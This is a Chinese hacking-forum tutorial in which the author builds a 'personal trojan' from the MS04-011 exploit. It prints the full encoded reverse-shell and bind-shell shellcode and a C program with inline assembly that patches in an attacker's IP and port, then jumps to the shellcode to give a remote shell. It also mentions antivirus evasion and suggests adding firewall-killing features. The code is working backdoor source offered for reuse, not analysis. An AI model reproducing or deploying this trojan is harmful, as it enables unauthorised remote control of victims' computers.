从MS04011到sunlion个人木马V1.0

从MS04011到sunlion个人木马V1.0
***************************文章性质***************************
*作者:sunlion[EST] 个人小屋:http://evilsun.126.com
*所属组织:中国邪恶八进制 http://www.eviloctal.com http://www.eviloctal.com/forum
***********************转载请保留作者信息************************
前几天,看到了一个人写了一个反弹行的小程序,偶觉得不错呵呵,于是自己也想写了一个,但是后真正要动手写的时候才发现,其实这个程序没有那么简单,其实我是一个菜鸟,很菜很菜的一个EST的菜鸟,我什么都不会的,呵呵!
想写出这样的一个木马来真的不容易,刚开始我是这样设想的,程序分为三个部分,一个要建立一个winsock和我们的在本机连接,第二部分是要负责调用对方电脑里的cmd.exe程序,第三部分,写一个send.exe程序,负责把第一个程序调用cmd.exe程序运行后的参数,发送到我们这一方。其实这是我的设想,呵呵,后来我自己想想了,这样的程序能有权限吗?根本不行,你得到的权限不是admin权限,所以想想如果自己去开发这样的程序,按我现在的水平看来是不行了!
我是菜鸟,但是我有提升自己能力的勇气与信心!
呵呵,说说是可以的,但是实现起来还是不那么容易!后来我就想到了winshell.exe的原代码,大家还记得吧,这个是孤独剑客的作品,呵呵,相当精悍的一个小程序,于是那天我就把winshell的代码认真的读了好几片,基本把winshell的原理功能,及里面用到了一些手段认知了,呵呵,真是不容易啊,里面用到了好多函数,我还得去查,查了N多,呵呵,后来遇到了我必须要去的课,这样就不能在宿舍里面看代码了,最后拿去了打印,靠22页,发去了我的不少钱,呵呵!
看完winshell的代码我才发现,他的的原理和我们的要求不同,但是读了面的代码,我还是有好大好大的收获的,里面有关于如何把木马写为系统服务里面,等等,里面的代码真的是很丰富,很有用,哈哈!
最后我想起了ms04011.exe这个溢出程序,大家都知道这个溢出程序吧,只要对方的电脑存在ms04011的漏洞,那么我利用这个程序在本地利用nc监听一个端口等等带对方连接到本地,那么我们就得到了对方的一个shell,呵呵,还等什么呢,于是把EST论坛里面的exploit里面代码都浏览一片,终于在最后几页找到了ms04011的代码,哈哈!
里面因为是用到了N多的函数,我一路查啊,查得我还真累,呵呵,不过为了我的程序,我还是把它读完了,呵呵!好了废话就写到这里吧, ms04011的代码大家自己看吧,因为太长了我就不把它们全部帖上来了,如果遇到里面不会的函数,大家可以到EST的论坛里面有个C语言版里面有一个帖子名字:<C语言编程宝点之XXXX>,这篇里面基本能把你不会的函数里面都有了,大家自己查哦:)!那篇帖子是我看ms04011后去查完后发到EST论坛上面的。下面开始分析代码:
Usage:expl <target> <victim IP> <bindport> [connectback IP] [options]现在我来看看它的用法,看到没有里面就是有<bindport> [connectback IP]这个地方就是我们要利用的,我们只要利用里面的一段程序就行了,翻开代码,一进来就是shellcode,unsigned char reverseshell[]; unsigned char bindshell[] ;char req1[] ;char req2[]….等等,就是把shellcode都给付值完了,下面的程序才能调用!
.
.
.
(程序省略)
int main(int argc, char *argv[])这个时候我们来到了他的主函数,其中argc统计我们程序后面跟的参数的个数,argv[]是字符指针类型,负责存储程序运行后面跟的参数,具体说明如下:* argc: 整数, 程序运行后传给main()的命令行参数个数,* argv: 字符串数组。 在DOS 3.X 版本中, argv[0] 为程序运行的全路径名; 对DOS 3.0以下的版本, argv[0]为空串("") 。
    argv[1] 为在DOS命令行中执行程序名后的第一个字符串;
    argv[2] 为执行程序名后的第二个字符串;
    ...
    argv[argc]为NULL。这个主函数队没很重要,因为对我一下要分析的代码非常重要,…..(中间程序省略)下面程序来到这里:
if (argc > 4)//这里开始判断我们输入的参数的个数,如果大于4,就这是主动连接或反弹!
if (!memcmp(argv[4], "-t", 2)) opt = 1;//这里开始比较我们输入的参数中有没有-t,如果有那么opt==1,那么就是邦定对方一个端口,如果没有-t,opt==0(这是他的初始值)那么就是反弹回来连接到我们的端口,
if ( (argc > 4) && !opt ) {//程序初始化opt为0,如果opt==0那么!opt就为真!
port = htons(atoi(argv[3]))^(USHORT)0x9999;//这里开始获取我们输入的端口
ip = inet_addr(argv[4])^(ULONG)0x99999999;//这里开始获得我们输入的IP
memcpy(&reverseshell[118], &port, 2);//这里是开始把端口复制到内存中的shellcode代码中
memcpy(&reverseshell[111], &ip, 4);// 这里是开始把IP复制到内存中的shellcode代码中
sc = reverseshell;//这里是利用到了我们定义好了的shellcole付值给sc!
} else {//如果opt==1的话,那么就说明里面有-t,输入邦定端口类型
port = htons(atoi(argv[3]))^(USHORT)0x9999; //这里开始获取我们输入的端口
memcpy(&bindshell[176], &port, 2); //这里是开始把端口复制到内存中的shellcode代码中
sc = bindshell;//这里利用到了我定义好了的bindshell的shellcode部分送给了sc
}
大家把程序看到这里,基本就知道了ms04011利用绑定端口或反弹到我们的电脑,重要是利用到了上面定义好了的两个shellcode,一个是unsigned char reverseshell[]。另一个是unsigned char bindshell[];其实下面还有好多代码,我就不分析,因为对我的写木马没有用;
到这里,我们可以总结出来,ms04011能绑定端口和反弹到我们的电脑,都是和shellcode有关,那么什么是shellcode的,为什么shellcode 能实现反弹连接到我们的电脑而我们获得shellcode呢?其实这个我很难说得清楚,因为连我自己也不太了解,呵呵!查了一下资料:
ShellCode一般是通过溢出等方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送给受攻击程序的。而ms04011就是这种形式,把shellcode发送给对方计算机,而我们要利用的却是把shellcode做为木马让别人去实行,建立一个winsock连接到我们的电脑,那么我们就可以获得权限了,这个就是为什么我们得到shell的原因。编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。而MS04011就是在程序中加入一段编码代码,就是我们所说的那两个shellcode。来达到我们的目的。当然,shellcode不是一两决话就能说清楚的,简单的说就是只要我们执行了特殊的shellcode那么我们就得到权限了,如果这样理解的话,那么我们可以把shellcode当作一个汇编中的子程序来看待了!到目前为止,我们已经把思路搞清楚了,那么我怎么让才能让对方实行我们的shellcod呢?大家学过汇编就会知道,在汇编中要实行它的子程序的时候我利用call PN,(其中PN是我们定义一个子程序的标号,而这个标号常常是我们的子程序的入口,是这个子程序的在内存中CS代码段的偏移地址,)所以我们现在要让我们的木马执行这段shellcode时,当然在VC里面我们是不能用call的,因为它是汇编中的伪指令,而VC中并没有这个伪指令,所以我们就要在VC中嵌入汇编代码,要利用__asm{},去实行已经装载在内存中的shellcode了,哈哈,sunlion[EST]这个学期正好开汇编的课,前几天还对win32asm进行了不少的研究,终于在这里都用上了!好了,原理就是这样了!
我们现在要自己写这个木马,shellcode已经出现了,就是在ms04011里面的reverseshell[]和bindshell[],只要我们把这段代码实行了就可以得到权限了,但是大家想ms04011为什么能绑定端口和连接到我们的电脑呢?其实这些功能都是包含在shellcode里面了,那为什么ms04011要获取后面输入的参数如IP和端口,而且还把我们提取的IP和端口写到shellcode里面(为了方便理解,就这么说了)呢?笨蛋,呵呵如果我们不把IP和端口放到里面那么对方实行完shellcode后就不知道连接到那里去了啊,所以我们要把IP和端口写到里面去,呵呵这样计算机实行shellcode后,就会和我们建立一个winsock连接到我们设定好了的IP和端口了!
其实写到这里,这个木马的主要工作原理已经出来了,知道编程的朋友看到这里估计已经都会写出自己的程序来了,下面我再在大家面前献丑了哦:)!
首先,定义头文件:#include <windows.h>

#pragma comment(lib, "ws2_32")//这里是建立winsock时需要的头文件
接下来我们要把ms04011里的shellcode考过来:
// reverse shellcode,这里是反向连接时要用到的插如端口的偏移量是118,插入IP的偏移量是111
unsigned char reverseshell[] =
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x25/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF"
"/x70/x62/x99/x99/x99/xC6/xFD/x38/xA9/x99/x99/x99/x12/xD9/x95/x12"
"/xE9/x85/x34/x12/xF1/x91/x12/x6E/xF3/x9D/xC0/x71/x02/x99/x99/x99"
"/x7B/x60/xF1/xAA/xAB/x99/x99/xF1/xEE/xEA/xAB/xC6/xCD/x66/x8F/x12"
"/x71/xF3/x9D/xC0/x71/x1B/x99/x99/x99/x7B/x60/x18/x75/x09/x98/x99"
"/x99/xCD/xF1/x98/x98/x99/x99/x66/xCF/x89/xC9/xC9/xC9/xC9/xD9/xC9"
"/xD9/xC9/x66/xCF/x8D/x12/x41/xF1/xE6/x99/x99/x98/xF1/x9B/x99/x9D"
"/x4B/x12/x55/xF3/x89/xC8/xCA/x66/xCF/x81/x1C/x59/xEC/xD3/xF1/xFA"
"/xF4/xFD/x99/x10/xFF/xA9/x1A/x75/xCD/x14/xA5/xBD/xF3/x8C/xC0/x32"
"/x7B/x64/x5F/xDD/xBD/x89/xDD/x67/xDD/xBD/xA4/x10/xC5/xBD/xD1/x10"
"/xC5/xBD/xD5/x10/xC5/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8/xC8/xC8"
"/xF3/x98/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x9D/x12/x55/xF3/x66/x66"
"/xA8/x66/xCF/x91/xCA/x66/xCF/x85/x66/xCF/x95/xC8/xCF/x12/xDC/xA5"
"/x12/xCD/xB1/xE1/x9A/x4C/xCB/x12/xEB/xB9/x9A/x6C/xAA/x50/xD0/xD8"
"/x34/x9A/x5C/xAA/x42/x96/x27/x89/xA3/x4F/xED/x91/x58/x52/x94/x9A"
"/x43/xD9/x72/x68/xA2/x86/xEC/x7E/xC3/x12/xC3/xBD/x9A/x44/xFF/x12"
"/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D/x12/x9A/x5C/x32/xC7/xC0/x5A"
"/x71/x99/x66/x66/x66/x17/xD7/x97/x75/xEB/x67/x2A/x8F/x34/x40/x9C"
"/x57/x76/x57/x79/xF9/x52/x74/x65/xA2/x40/x90/x6C/x34/x75/x60/x33"
"/xF9/x7E/xE0/x5F/xE0";
// bind shellcode这里是我们主动连接是要用到的shellcode,插入端口的偏移量是176
unsigned char bindshell[] =
"/xEB/x10/x5A/x4A/x33/xC9/x66/xB9/x7D/x01/x80/x34/x0A/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF"
"/x70/x95/x98/x99/x99/xC3/xFD/x38/xA9/x99/x99/x99/x12/xD9/x95/x12"
"/xE9/x85/x34/x12/xD9/x91/x12/x41/x12/xEA/xA5/x12/xED/x87/xE1/x9A"
"/x6A/x12/xE7/xB9/x9A/x62/x12/xD7/x8D/xAA/x74/xCF/xCE/xC8/x12/xA6"
"/x9A/x62/x12/x6B/xF3/x97/xC0/x6A/x3F/xED/x91/xC0/xC6/x1A/x5E/x9D"
"/xDC/x7B/x70/xC0/xC6/xC7/x12/x54/x12/xDF/xBD/x9A/x5A/x48/x78/x9A"
"/x58/xAA/x50/xFF/x12/x91/x12/xDF/x85/x9A/x5A/x58/x78/x9B/x9A/x58"
"/x12/x99/x9A/x5A/x12/x63/x12/x6E/x1A/x5F/x97/x12/x49/xF3/x9A/xC0"
"/x71/x1E/x99/x99/x99/x1A/x5F/x94/xCB/xCF/x66/xCE/x65/xC3/x12/x41"
"/xF3/x9C/xC0/x71/xED/x99/x99/x99/xC9/xC9/xC9/xC9/xF3/x98/xF3/x9B"
"/x66/xCE/x75/x12/x41/x5E/x9E/x9B/x99/x9D/x4B/xAA/x59/x10/xDE/x9D"
"/xF3/x89/xCE/xCA/x66/xCE/x69/xF3/x98/xCA/x66/xCE/x6D/xC9/xC9/xCA"
"/x66/xCE/x61/x12/x49/x1A/x75/xDD/x12/x6D/xAA/x59/xF3/x89/xC0/x10"
"/x9D/x17/x7B/x62/x10/xCF/xA1/x10/xCF/xA5/x10/xCF/xD9/xFF/x5E/xDF"
"/xB5/x98/x98/x14/xDE/x89/xC9/xCF/xAA/x50/xC8/xC8/xC8/xF3/x98/xC8"
"/xC8/x5E/xDE/xA5/xFA/xF4/xFD/x99/x14/xDE/xA5/xC9/xC8/x66/xCE/x79"
"/xCB/x66/xCE/x65/xCA/x66/xCE/x65/xC9/x66/xCE/x7D/xAA/x59/x35/x1C"
"/x59/xEC/x60/xC8/xCB/xCF/xCA/x66/x4B/xC3/xC0/x32/x7B/x77/xAA/x59"
"/x5A/x71/x76/x67/x66/x66/xDE/xFC/xED/xC9/xEB/xF6/xFA/xD8/xFD/xFD"
"/xEB/xFC/xEA/xEA/x99/xDA/xEB/xFC/xF8/xED/xFC/xC9/xEB/xF6/xFA/xFC"
"/xEA/xEA/xD8/x99/xDC/xE1/xF0/xED/xCD/xF1/xEB/xFC/xF8/xFD/x99/xD5"
"/xF6/xF8/xFD/xD5/xF0/xFB/xEB/xF8/xEB/xE0/xD8/x99/xEE/xEA/xAB/xC6"
"/xAA/xAB/x99/xCE/xCA/xD8/xCA/xF6/xFA/xF2/xFC/xED/xD8/x99/xFB/xF0"
"/xF7/xFD/x99/xF5/xF0/xEA/xED/xFC/xF7/x99/xF8/xFA/xFA/xFC/xE9/xED"
"/x99/xFA/xF5/xF6/xEA/xFC/xEA/xF6/xFA/xF2/xFC/xED/x99";
然后进行函数主体部分的编写:
void main(int argc, char *argv[])
{
unsigned short   port;定义port
  //unsigned short   stag;
  unsigned long   ip;// 定义IP
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);//这里负责对sock的初始话,其中调用到2.2版本
if(argc==2)//判断我们是要求是主动连接还是反弹连接,如果argc==2,说明我要主动连接
{
port = htons(atoi(argv[1]))^(USHORT)0x9999;//根据我输入的端口提取端口
memcpy(&bindshell[176], &port, 2);//把它复制到已经装载到内存中的bindshell偏移为176的地方
  __asm//这里我们要调用汇编
  {
      lea eax,bindshell//取得bindshell在内存中的偏移地址
    jmp eax//使用无条件跳转指令把程序跳到bindshell的地方,去让系统实行我们的精心构造的shellcode
  }
}
else if(argc==3)//这里是我要反弹连接是
{
     
port = htons(atoi(argv[1]))^(USHORT)0x9999;//提取端口
ip = inet_addr(argv[2])^(ULONG)0x99999999;//提取IP

memcpy(&reverseshell[118], &port, 2);//把端口复制到shellcode的内存偏移地址为118的单元中
memcpy(&reverseshell[111], &ip, 4);//把IP复制到偏移量为111的内存单元中
__asm
  {
      lea eax,reverseshell//取得偏移地址,存放到exa中
    jmp eax//让程序跳到这里,实行
  }
}

else printf("主动连接Usage:evilsun <listenport>/n反向连接Usage:evilsun <connectbackport> <connectbackIP>/n");//如果我们输入的参数不是2或3时提示大家用法!
}
到这里这个程序的基本框架已经完成了!
大家看到这里是不是对木马已经有所了解了吧!
其实要达到这一步相当的不容易,你知道我们读了ms04011的时候,连续读了两片都没有感觉,呵呵,哪个时候我差点都要放弃了,呵呵,但是记得老师说过的话(…省略)哈哈,不告诉大家:);我最终还是把代码认真认真的继续读下去,把代码都读懂以后才开始想,怎么利用到ms04011的代码,你不要以为一开始我就知道利用ms04011里面的这些代码的,如果你也去认真的把ms04011里面的代码读一次话,那么你才会感觉得到我说的,那么不容易,呵呵!
这里是我的木马的基本筐架,大家可以自己在里面添加功能,比如杀死进程是,呵呵,大家还记得我发布过ccpxadd.exe的代码,就是那篇《利用ccproxy漏洞实现免费上网》里提到的哪个程序,我已经把里面的设想的程序功能都写出来了,呵呵,程序不大,就十几K,代码我因为已经发布在EST论坛里面的《成员原创》版里面了,其中里面就一段提升权限,杀死进程的代码,大家只要进行一点一点的脑筋就可以把具有杀死放火墙的功能添加到这里去了!
其实木马不是这么简单的 ,这里我只是说了筐架,要把这个木马完善,那么还要有木马的生成端,呵呵,像桂林老兵就写了和我这个非常相似的木马,我手上有他的一款,他说是给自己写的不会发布,哈哈,大家想要的话,就去问桂林老兵要吧!呵呵,他已经写出来了木马的生成端,可以自己定义端口和IP,主动连接时候还可以设定密码!
我为了写这个程序已经花了差不多一个星期了,呵呵,英语四级马上就要考了,我TMD上次都没有过,这次只能拼命了,所以估计不暂时不会对sunlion个人木马V1.0进行升级了!
大家如果想要方面的话,就去问桂林老兵要哦,哈哈,大家一定要加他QQ,QQ号在他的网站上有,把他的QQ加暴哈哈!天天烦他,估计他会把木马给你的,呵呵!
写到这里我还要感谢,冰血封情,飘忽不定,呵呵他们在我读代码的过程中都给我不少帮助,谢谢你们了,呵呵!本来是想自己写一个木马生成端的,但是真正写起来非常不容易,关键是我自己不行,为了写帮我这个木马的生成端,我和飘忽不定进行了激烈的讨论,呵呵,把他烦得快不行了,哈哈,所以我在这里要感谢飘忽不定——大名鼎鼎的第八军团神气儿木马的开发者!
呵呵,写完后,叫风泽[EST]测试了一下5555555!被风泽的诺顿识别了,提示MS04011晕!估计风泽的病毒库也比较全拉,不过在其他杀毒的时候还没被发现的!
好了文章就写到这里吧!
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值